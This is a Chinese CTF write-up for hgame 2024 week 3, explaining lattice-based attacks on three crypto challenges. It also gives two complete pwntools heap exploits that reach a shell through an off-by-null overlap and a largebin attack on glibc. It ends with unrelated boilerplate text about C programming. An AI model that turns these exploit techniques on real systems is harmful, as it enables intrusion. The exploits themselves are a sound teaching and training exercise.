[hgame 2024 week3] crypto/pwn

第2周作完了不知道扔哪去了,先记录下第3周,因为官方WP已经出来,顺便把没出的题复现一下。最近的比赛都比较不错,相当于近期知识点的总结,有点心经的意思。

Crypto

matrix_equation

题目很短,结了一个式子,求p,q,r

其中temp = (p<<256)+q*k1+r*k2 是83位长,提示p,q,r长度与temp正当,先走一步,再走一步

from Crypto.Util.number import *
import hashlib
from secret import p,q,r
k1=getPrime(256)
k2=getPrime(256)
temp=p*2**256+q*k1+r*k2
hint=len(bin(temp)[2:])
flag='hgame{'+hashlib.sha256(str(p+q+r).encode()).hexdigest()+'}'
print(f'hint={hint}')
print(f'k1={k1}')
print(f'k2={k2}')
"""
83
k1=73715329877215340145951238343247156282165705396074786483256699817651255709671
k2=61361970662269869738270328523897765408443907198313632410068454223717824276837
"""

 这个题p左移了256位,如果结果是83位则前边必定被减掉,所以可以先不看p,而是以2^256和k1,k2来造格  k1*q+k2*r +c =0 mod 2^256来解一个最小值

M = matrix(ZZ,[[1,0,k1],[0,1,k2],[0,0,2^256]])
L = M.LLL()
for l in L:
    print(hex(l[0]*k1 + l[1]*k2))
'''
[ -9396324357950573888994599 -15154059265021257630097517   5851117074945081723062478]
[ 33281308486653930151733737  -4066293048823621784993250  65301243525031258000907285]
[ 46397424257679676851556254 -57263293525378453480844839 -45515665156713370235083473]

-0xb9742e27428eb7ed3daa0fffffffffffffffffffffffffffffffffffffffffffb28fa4ecb9455aea7f732
0xfbe506b40e73be0aa62bd000000000000000000000000000000000000000000360413813a0faa442adc15
-0xab2673dd080f4d3d3e0d00000000000000000000000000000000000000000025a65126f9f57cd80e9ad1
'''

根据结果0行是最小值,尾部符合83位特征。得到q,r,而头部的数字就是p

#hex(L[0][2]) 0x4d705b1346baa515808ce  83位
q,r = -9396324357950573888994599, -15154059265021257630097517
p = 0xb9742e27428eb7ed3daa1

hex(p*2^256+q*k1+r*k2)

flag='hgame{'+hashlib.sha256(str(p+q+r).encode()).hexdigest()+'}'
#hgame{3633c16b1e439d8db5accc9f602f2e821a66e6d80a412e45eb3e1048dffbb0e2}

exRSA

这题的模板来自lazzzaro的博客,3个d都很小只有768位,n是2048位,给出了3个d对应的e

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getStrongPrime(1024)
q=getStrongPrime(1024)
phi=(p-1)*(q-1)
e1=inverse(getPrime(768),phi)
e2=inverse(getPrime(768),phi)
e3=inverse(getPrime(768),phi)
n=p*q
c=pow(m,0x10001,n)
print(f'e1={e1}')
print(f'e2={e2}')
print(f'e3={e3}')
print(f'c={c}')
print(f'n={n}')

"""
e1=5077048237811969427473111225370876122528967447056551899123613461792688002896788394304192917610564149766252232281576990293485239684145310876930997918960070816968829150376875953405420809586267153171717496198336861089523701832098322284501931142889817575816761705044951705530849327928849848158643030693363143757063220584714925893965587967042137557807261154117916358519477964645293471975063362050690306353627492980861008439765365837622657977958069853288056307253167509883258122949882277021665317807253308906355670472172346171177267688064959397186926103987259551586627965406979118193485527520976748490728460167949055289539
e2=12526848298349005390520276923929132463459152574998625757208259297891115133654117648215782945332529081365273860316201130793306570777735076534772168999705895641207535303839455074003057687810381110978320988976011326106919940799160974228311824760046370273505511065619268557697182586259234379239410482784449815732335294395676302226416863709340032987612715151916084291821095462625821023133560415325824885347221391496937213246361736361270846741128557595603052713612528453709948403100711277679641218520429878897565655482086410576379971404789212297697553748292438183065500993375040031733825496692797699362421010271599510269401
e3=12985940757578530810519370332063658344046688856605967474941014436872720360444040464644790980976991393970947023398357422203873284294843401144065013911463670501559888601145108651961098348250824166697665528417668374408814572959722789020110396245076275553505878565603509466220710219260037783849276475397283421068716088638186994778153542817681963059581651103563578804145156157584336712678882995685632615686853980176047683326974283896343322981521150211317597571554542488921290158122634140571148036732893808064119048328855134054709120877895941670166421664806186710346824494054783025733475898081247824887967550418509038276279
c=1414176060152301842110497098024597189246259172019335414900127452098233943041825926028517437075316294943355323947458928010556912909139739282924255506647305696872907898950473108556417350199783145349691087255926287363286922011841143339530863300198239231490707393383076174791818994158815857391930802936280447588808440607415377391336604533440099793849237857247557582307391329320515996021820000355560514217505643587026994918588311127143566858036653315985177551963836429728515745646807123637193259859856630452155138986610272067480257330592146135108190083578873094133114440050860844192259441093236787002715737932342847147399
N=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800426311328560924133698481653594007727877031506265706341560810588064209681809146597572126173303463125668183837840427667101827234752823747483792944536893070188010357644478512143332014786539698535220139784440314481371464053954769822738407808161946943216714729685820896972467020893493349051243983390018762076812868678098172416465691550285372846402991995794349015838868221686216396597327273110165922789814315858462049706255254066724012925815100434953821856854529753
"""

根据模板来填数

#多组低解密指数攻击
#https://lazzzaro.github.io/2020/05/06/crypto-RSA/
import gmpy2 
from Crypto.Util.number import long_to_bytes 

for i in range(1000):
    alpha2 = i/1000
    M1 = int(gmpy2.mpz(N)**(3./2))
    M2 = int( gmpy2.mpz(N) )
    M3 = int(gmpy2.mpz(N)**(3./2 + alpha2))
    M4 = int( gmpy2.mpz(N)**(0.5) )
    M5 = int( gmpy2.mpz(N)**(3./2 + alpha2) )
    M6 = int( gmpy2.mpz(N)**(1.+alpha2) )
    M7 = int( gmpy2.mpz(N)**(1.+alpha2) )
    D = diagonal_matrix(ZZ, [M1, M2, M3, M4, M5, M6, M7, 1])
    B = Matrix(ZZ, [ [1, -N,   0,  N**2,   0,      0,      0,    -N**3],
                     [0, e1, -e1, -e1*N, -e1,      0,   e1*N,  e1*N**2],
                     [0,  0,  e2, -e2*N,   0,   e2*N,      0,  e2*N**2],
                     [0,  0,   0, e1*e2,   0, -e1*e2, -e1*e2, -e1*e2*N],
                     [0,  0,   0,     0,  e3,  -e3*N,  -e3*N,  e3*N**2],
                     [0,  0,   0,     0,   0,  e1*e3,      0, -e1*e3*N],
                     [0,  0,   0,     0,   0,      0,  e2*e3, -e2*e3*N],
                     [0,  0,   0,     0,   0,      0,      0, e1*e2*e3] ]) * D

    L = B.LLL()

    v = Matrix(ZZ, L[0])
    x = v * B**(-1)
    phi_ = (e1*x[0,1]/x[0,0]).floor()
    try:
        d = inverse_mod( 65537, phi_)
        m = long_to_bytes(int(power_mod(c, d, N)))
        if b'hgame' in m:
            print(i)
            print(m)
            break
    except:
        pass

#hgame{Ext3ndin9_W1en3r's_att@ck_1s_so0o0o_ea3y}

HNP

可以简单的看成b = [m*t%p%(2^32+1) for t in A]也就是flag与t相乘模p再取后32位

from Crypto.Util.number import *
from secret import flag

def encrypt(m,p,t):
    return [(ti*m)%p for ti in t]

m=bytes_to_long(flag[:63])
length=m.bit_length()+8
p=getStrongPrime(length)
n=32
t=[getRandomRange(0,p) for _ in range(n)]
enc=encrypt(m,p,t)
res=[i%(2**n+1) for i in enc]

print(f'p={p}')
print(f't={t}')
print(f'res={res}')

"""
q=11306299241774950053269547103284637414407835125777245204069367567691021928864773207548731051592853515206232365901169778048084146520829032339328263913558053
A=[3322008555255129336821309701482996933045379792432532251579564581211072677403244970423357912298444457457306659801200188166569132560659008356952740599371688, 8276764260264858811845211578415023343942634613522088631021199433066924291049858607045960690574035761370394263154981351728494309737901121703288822616367266, 9872291736922974456420418463601129094227231979218385985149661132792467621940722580745327835405374826293791332815176458750548942757024017382881517284991646, 4021521745142535813153669961146457406640791935844796005344073886289668464885011415887755787903927824762833158130615018326666118383128627535623639046817799, 24569151076141700493541155834378165089870615699969211988778938492838766214386066952596557490584021813819164202001474086538804476667616708172536787956586, 3218501156520848572861458831123822689702035242514803505049101779996231750875036344564322600086861361414609201214822262908428091097382781770850929067404210, 3563405987398375076327633444036492163004958714828685846202818610320439306396912425420391070117069875583786819323173342951172594046652017297552813501557159, 4914709045693863038598225124534515048993310770286105070725513667435983789847547225180024824321458761262390817487861675595466513538901373422149236133926354, 10800566112999947911006702454427389510409658644419749067440812458744391509925306994806187389406032718319773665587324010542068486131582672363925769248595266, 623364920052209790798128731089194813138909691039137935275037339503622126325928773037501254722851684318024014108149525215083265733712809162344553998427324, 4918421097628430613801265525870561041230011029818851291086862970508621529074497601678774921285912745589840510459677522074887576152015356984592589649844431, 7445733357215847370070696136653689748718028080364812263947785747353258936968978183471549706166364243148972154215055224857918834937707555053246184822095602, 9333534755049225627530284249388438694002602645047933865453159836796667198966058177988500184073454386184080934727537200575457598976121667373801441395932440, 5010854803179970445838791575321127911278311635230076639023411571148488903400610121248617307773872612743228998892986200202713496570375447255258630932158822, 6000645068462569819648461070140557521144801013490106632356836325002546400871463957228581143954591005398533252218429970486115490535584071786260818773166324, 8007260909124669381862034901556111245780505987082990804380814797200322228942432673939944693062470178256867366602331612363176408356304641672459456517978560, 10179739175373883376929532026389135792129233730601278687507041429438945598523995700184622359660605910932803141785598758326254886448481046307666042835829725, 8390072767717395701926289779433055672863880336031837009119103448675232362942223633129328309118158273835961567436591234922783953373319767835877266849545292, 7875011911562967874676113680693929230283866841475641162854665293111344467709424408623198370942797099964625447512797138192853009126888853283526034411007513, 5293772811020012501020124775214770193234655210319343058648675411115210453680753070042821835082619634341500680892323002118953557746116918093661769464642068, 2613797279426774540306461931319193657999892129844832159658771717387120246795689678231275371499556522396061591882431426310841974713419974045883021613987705, 9658126012133217804126630005236073513485215390812977974660029053522665282550965040288256074945246850744694519543358777252929661561636241161575937061521711, 2982535220844977621775139406357528876019349385634811795480230677982345697183586203669094998039995683973939721644887543907494963824968042199353945120367505, 107289984878191849357180490850397539311037762262082755398160292401340078782643246498566039415279868796667596686125847400130898160017838981308638814854641, 120993130590874228473811314869823704699012435303134640953201808807618070048912918046616664677916248813062043597607873728870402493717351447905456920806865, 2253040652771796284266254261719805768102740653097446325869783812201171144150768875885963729324915714812719138247784194752636928267712344736198611708630089, 8650007272154283057350664311505887535841268767424545016901418989555620869091145651216448723200240914143882774616678968725523914310965356875681207295242434, 9628747829107584650014156079928108801687158029086221730883999749044532846489666115473993005442192859171931882795973774131309900021287319059216105939670757, 10846936951522093706092027908131679912432689712451920718439096706435533926996215766191967052667966065917006691565771695772798711202812180782901250249613072, 1606865651227988736664127021678689299989045439998336603562232908863405778474520915170766771811336319655792746590981740617823564813573118410064976081989237, 6239063657591721097735049409610872941214078699330136826592958549212481802973973104374548555184907929255031570525343007518434357690480429981016781110249612, 1855365916387114620581029939707053701062476745235578683558063796604744448050278138954359506922875967537567359575662394297579958372107484276360920567730458]
b=[2150646508, 1512876052, 2420557546, 2504482055, 892924885, 213721693, 2708081441, 1242578136, 717552493, 3210536920, 2868728798, 1873446451, 645647556, 2863150833, 2481560171, 2518043272, 3183116112, 3032464437, 934713925, 470165267, 1104983992, 194502564, 1621769687, 3844589346, 21450588, 2520267465, 2516176644, 3290591307, 3605562914, 140915309, 3690380156, 3646976628]
"""

上模板,在这个博客里有几种模式,但没给这种,只需小修即可。

#https://tover.xyz/p/HNP-note/
#b = [m*t%p%(2^32+1) for t in A] 给出模(2^32+1)的余

A0,b0 = A[0],b[0]
A0i = A0.inverse_mod(q) 
T = 2**32+1
Ti = T.inverse_mod(q)
R = 2^(512-32-1)
M = matrix(ZZ, 32+2)
for i in range(1,32):
    M[i,i] = -q 
    M[-2,i] = A0i*A[i]%q
    M[-1,i] = A0i*Ti*(A[i]*b0 - A0*b[i])%q
M[-2,-2] = 1
M[-1,-1] = R
L = M.LLL()
for l in L:
    B0 = l[-2]
    x0 = (B0*T+ b0)*A0i%q
    flag = long_to_bytes(int(x0))
    if b'hgame' in flag:
        print(flag)
    
#b'\xff\xff\xff\xff\xff\xff_hgame{H1dd3n_Numb3r_Pr0bl3m_has_diff3rent_s1tuati0n}\xff\xff\xff\xff'

PWN

你满了,那我就漫出来了!

从名字看就是溢出了

libc-2.27 add有off_by_null

先建一堆块 [0xf0,0x20,0x20]+[0xf0]*8 

释放尾部7个后再释放0,tcache填满0会进入unsort

再释放2重建(没有edit)填充pre_size为0+1+2,并利用off_by_null 将3块头0x101改为0x100

释放3时与部分发生合并,这时再建块用到unsort时将与1,2块重叠

用光tcache后再重建0使用unsort将unsort的fp,bk指针落到1块上,show 1得到libc

再释放2后利用unsort建大块与2重叠,修改fp指针,将块建到free_hook

from pwn import *

context(arch='amd64',log_level='debug')
libc = ELF('./libc-2.27.so')

#p = process('./vuln')
p = remote('106.14.57.14', 31774)

def add(idx,size,msg):
    p.sendlineafter(b"Your choice:", b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Content: ", msg)

def free(idx):
    p.sendlineafter(b"Your choice:", b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b"Your choice:", b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

for i,v in enumerate([0xf0,0x20,0x20]+[0xf0]*8):
    add(i,v,b'A')

for i in [4,5,6,7,8,9,10,0]:
    free(i)

free(2)
add(2,0x28, flat(0,0,0,0,0x160))
free(3)

for i in [4,5,6,7,8,9,10,0]:
    add(i, 0xf0, b'A')

show(1)
libc.address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

free(2)
add(11,0x50,flat(0,0,0,0,0,0x21,libc.sym['__free_hook']))

add(12,0x20,b'/bin/sh\x00')
add(13,0x20,p64(libc.sym['system']))

free(12)

p.interactive()

Elden Ring Ⅲ

只能块500-900的块,有UAF

由于只能建大块,所以无法直接使用tcache,这里就需要用largetbinAttack将一个地址写到mp_+0x50的tcache_bins处,这里原本应该是0x40就是tcache块最大索引值,最大0x410,不过mp_这个位置在libc里并不是个符号,需要通过后边块最大值0x408来查找。

当修改tcache_bins为大值后,再释放的块就会进入到tcache中。tcache是个好东西,基本没啥检查,随便改。

largebinAttack方法,先释放一个大块进入unsort,再建比它大的块unsort会进入到largebin(作为已归位largebin),这时再释放一个unsort(比它小一点,作为未归位largebin),并修改largebin的bk_nextsize为目标地址,再建大块让第2块unsort归位到largebin这样,与前一个largebin重建指针,会在目标地址处将第2块的地址写上。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./2.32-0ubuntu3.2_amd64/libc.so.6')

cmd = b'>'
def add(idx,size):
    p.sendlineafter(cmd, b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())

def free(idx):
    p.sendlineafter(cmd, b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(cmd, b'4')
    p.sendlineafter(b"Index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(cmd, b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", msg)

p = process('./vuln')

add(0,0x510)
add(1,0x500)
add(2,0x500)
free(0)  #large
add(3,0x600) #建比0大的块0块从unsort进入larget
free(2)  #unsort #0是归位的largbin 1是未归位的unsort

edit(0,b'00')
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3000 -0x4a0 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")


edit(0,b'A'*0x10)
show(0)
p.recvuntil(b'A'*0x10)
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x290
print(f"{heap_base = :x}")

large_500 = libc.sym['__malloc_hook'] + 0x4a0
heap_cc0 = heap_base + 0xcc0

#mp_  tcache_bins 可通过搜
'''
0x7ffff7fbf280: 0x0000000000020000      0x0000000000020000
0x7ffff7fbf290: 0x0000000000020000      0x0000000000000008
0x7ffff7fbf2a0: 0x0000000000000000      0x0001000000000000
0x7ffff7fbf2b0: 0x0000000000000000      0x0000000000000000
0x7ffff7fbf2c0: 0x0000000000000000      0x0000000000000000
0x7ffff7fbf2d0: 0x0000000000000040 (tcache_bins)     0x0000000000000408
0x7ffff7fbf2e0: 0x0000000000000007      0x0000000000000000
'''
mp_ = libc.address + 0x1e3280

#修改bk_nextsize 再建大块时2块从unsort归位到largetbin 0块bk_nextsize的地址+20处被写入2块的堆地址
#tcache_bins 由原来是0x40块被改大,再释放时会进入tcache
edit(0, flat(large_500,large_500, mp_+0x50-0x20, mp_+0x50-0x20))
add(4,0x600) #unlink 
#0x7ffff7fbf2d0: 0x000055555555ccc0      0x0000000000000408

free(1)
free(2)
edit(2, p64(((heap_base+0xcd0)>>12)^libc.sym['__free_hook']))
add(1,0x500)
add(2,0x500)
edit(1, b'/bin/sh\x00')
edit(2, p64(libc.sym['system']))
free(1)
#gdb.attach(p)
#pause()

p.interactive()

  • 24
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
C语言是一种广泛使用的编程语言,它具有高效、灵活、可移植性强等特点,被广泛应用于操作系统、嵌入式系统、数据库、编译器等领域的开发。C语言的基本语法包括变量、数据类型、运算符、控制结构(如if语句、循环语句等)、函数、指针等。在编写C程序时,需要注意变量的声明和定义、指针的使用、内存的分配与释放等问题。C语言中常用的数据结构包括: 1. 数组:一种存储同类型数据的结构,可以进行索引访问和修改。 2. 链表:一种存储不同类型数据的结构,每个节点包含数据和指向下一个节点的指针。 3. 栈:一种后进先出(LIFO)的数据结构,可以通过压入(push)和弹出(pop)操作进行数据的存储和取出。 4. 队列:一种先进先出(FIFO)的数据结构,可以通过入队(enqueue)和出队(dequeue)操作进行数据的存储和取出。 5. 树:一种存储具有父子关系的数据结构,可以通过中序遍历、前序遍历和后序遍历等方式进行数据的访问和修改。 6. 图:一种存储具有节点和边关系的数据结构,可以通过广度优先搜索、深度优先搜索等方式进行数据的访问和修改。 这些数据结构在C语言中都有相应的实现方式,可以应用于各种不同的场景。C语言中的各种数据结构都有其优缺点,下面列举一些常见的数据结构的优缺点: 数组: 优点:访问和修改元素的速度非常快,适用于需要频繁读取和修改数据的场合。 缺点:数组的长度是固定的,不适合存储大小不固定的动态数据,另外数组在内存中是连续分配的,当数组较大时可能会导致内存碎片化。 链表: 优点:可以方便地插入和删除元素,适用于需要频繁插入和删除数据的场合。 缺点:访问和修改元素的速度相对较慢,因为需要遍历链表找到指定的节点。 栈: 优点:后进先出(LIFO)的特性使得栈在处理递归和括号匹配等问题时非常方便。 缺点:栈的空间有限,当数据量较大时可能会导致栈溢出。 队列: 优点:先进先出(FIFO)的特性使得
C语言是一种广泛使用的编程语言,它具有高效、灵活、可移植性强等特点,被广泛应用于操作系统、嵌入式系统、数据库、编译器等领域的开发。C语言的基本语法包括变量、数据类型、运算符、控制结构(如if语句、循环语句等)、函数、指针等。下面详细介绍C语言的基本概念和语法。 1. 变量和数据类型 在C语言中,变量用于存储数据,数据类型用于定义变量的类型和范围。C语言支持多种数据类型,包括基本数据类型(如int、float、char等)和复合数据类型(如结构体、联合等)。 2. 运算符 C语言中常用的运算符包括算术运算符(如+、、、/等)、关系运算符(如==、!=、、=、<、<=等)、逻辑运算符(如&&、||、!等)。此外,还有位运算符(如&、|、^等)和指针运算符(如、等)。 3. 控制结构 C语言中常用的控制结构包括if语句、循环语句(如for、while等)和switch语句。通过这些控制结构,可以实现程序的分支、循环和多路选择等功能。 4. 函数 函数是C语言中用于封装代码的单元,可以实现代码的复用和模块化。C语言中定义函数使用关键字“void”或返回值类型(如int、float等),并通过“{”和“}”括起来的代码块来实现函数的功能。 5. 指针 指针是C语言中用于存储变量地址的变量。通过指针,可以实现对内存的间接访问和修改。C语言中定义指针使用星号()符号,指向数组、字符串和结构体等数据结构时,还需要注意数组名和字符串常量的特殊性质。 6. 数组和字符串 数组是C语言中用于存储同类型数据的结构,可以通过索引访问和修改数组中的元素。字符串是C语言中用于存储文本数据的特殊类型,通常以字符串常量的形式出现,用双引号("...")括起来,末尾自动添加'\0'字符。 7. 结构体和联合 结构体和联合是C语言中用于存储不同类型数据的复合数据类型。结构体由多个成员组成,每个成员可以是不同的数据类型;联合由多个变量组成,它们共用同一块内存空间。通过结构体和联合,可以实现数据的封装和抽象。 8. 文件操作 C语言中通过文件操作函数(如fopen、fclose、fread、fwrite等)实现对文件的读写操作。文件操作函数通常返回文件指针,用于表示打开的文件。通过文件指针,可以进行文件的定位、读写等操作。 总之,C语言是一种功能强大、灵活高效的编程语言,广泛应用于各种领域。掌握C语言的基本语法和数据结构,可以为编程学习和实践打下坚实的基础。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值